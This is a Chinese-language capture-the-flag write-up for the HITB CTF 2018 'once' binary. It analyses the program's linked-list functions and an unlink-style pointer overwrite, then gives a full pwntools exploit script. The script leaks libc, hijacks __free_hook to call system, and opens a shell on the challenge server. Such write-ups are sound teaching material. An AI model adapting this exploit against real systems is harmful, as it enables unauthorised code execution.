hitbctf2018-once

once

基本逻辑

once名字的来由大概是很多操作都只能做一次(误)

先执行二进制文件,根据输出的字符串定位各个函数。

f1:程序维护一个双向链表结构,每个结点有四项内容,[2]和[3]分别为上个结点和下个结点的地址,表头是data段的&unk_202020,其中unk_202020[3]off_202038。新加入的结点插入到头部,用off_202038进行记录。这个逻辑我还是想了一会的,果然要多读源码。

f1函数

f2:在bss段有一个变量dword_202064,作为是否进行了写操作的标志。函数实现了向第一个结点内写入0x20个字节,这个功能仅能实现一次。

f2函数

f3:同样,bss有一个dword_202060变量,标识是否进行了结点删除的操作。函数实现了删除第一个结点。

f3函数

f4:函数里有一些子操作,输入1时,分配size大小的内存空间,并把对应标志置位。

f4-1

​ 输入2时,向ptr内输入size大小的内容。

f4-2

​ 输入3时,释放ptr内存。

f4-3

漏洞及利用

在f2里,用户可以输入0x20个字节,能够覆盖掉结点中的前后向指针。并且在f3的解链操作中,对前后向指针进行操作,能够将程序劫持到期待的位置。简称offset_202038first,unk_202020head

1
2
3
4
5
6
//f2向结点内写内容,覆盖node[3]的地址为addr
//first里记录的是node的地址
first = *(first+3)
//first = addr
*(first+2)=&head
//*(addr+2)=&head

可以看出,最终能够实现向addr+16的地址处写入head地址。由于f4后续可以操作ptr变量,就使得addr+16=&ptr,经过上述过程后,ptr的内容为head地址,那么后面就可以向data段和bss段任意写。

本题开启了PIE保护,也就是无法直接获取到GOT,BSS变量地址。实际上,二进制文件中的相对位置是不变的。由于.data段与.bss段相邻,且相差较少,可以通过修改最后一个个字节来修改node[3]的内容。addr = &ptr-16 = 0x202058,发送最后一个字节0x58即可。

data段和bss段地址

之后f4向ptr写入内容就相当于向unk_202020起始的位置写入内容。由于f2能够向off_202038中的地址写入内容,不妨将offset_202038的值写为 __free_hook的地址,之后调用f2就可以向这里写入system地址。为了再次利用f2函数,应该覆写位于bss中的dword_202064变量。这样,覆写了 __free_hook之后,再次调用free就会执行system,f4中的3调用了free函数,对ptr中地址进行释放,因此可以将ptr中的值覆写为/bin/sh的地址。

一共要进行三次写操作:

1.f2向offset_202038中写入24字节填充和1字节0x58覆盖后向指针

2.f4-2向ptr中写入__free_hook地址、/bin/sh地址和对一些标识位置位。

3.f2向offset_202038__free_hook)写入system地址

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
debug = 1
elf = ELF('./once')
#flag{t1-1_1S_0_sImPl3_n0T3}
if debug:
p = process('./once')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote('47.75.189.102', 9999)
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def fun_1():
p.recvuntil('> ')
p.sendline('1')
def fun_2(string):
p.recvuntil('> ')
p.sendline('2')
p.sendline(string)
def fun_3():
p.recvuntil('> ')
p.sendline('3')


#leak libc
p.recvuntil('>')
p.sendline('0')
p.recvuntil('Invalid choice\n')
libc.address = int(p.recvuntil('>')[:-1],16)-libc.symbols['puts']

#add a node
fun_1()
#f4:ptr=malloc 0xe0
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(0xe0))
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
#input node
fun_2('a'*16+'b'*8 + chr(0x58))
#remove node
fun_3()
#write ptr
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('2')
p.send('/bin/sh\0'+ '\0'*0x10 + p64(libc.symbols['__free_hook']) + p64(libc.symbols['_IO_2_1_stdout_'] )+ p64(0) + p64(libc.symbols['_IO_2_1_stdin_']) + p64(0)*2 + p64(next(libc.search('/bin/sh'))) +p64(0)*4 )
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('2')
p.send(p64(libc.symbols['system']))
p.recvuntil('>')
p.sendline('4')
p.recvuntil('>')
p.sendline('3')
print '[*] system ',hex(libc.symbols['system'])

p.interactive()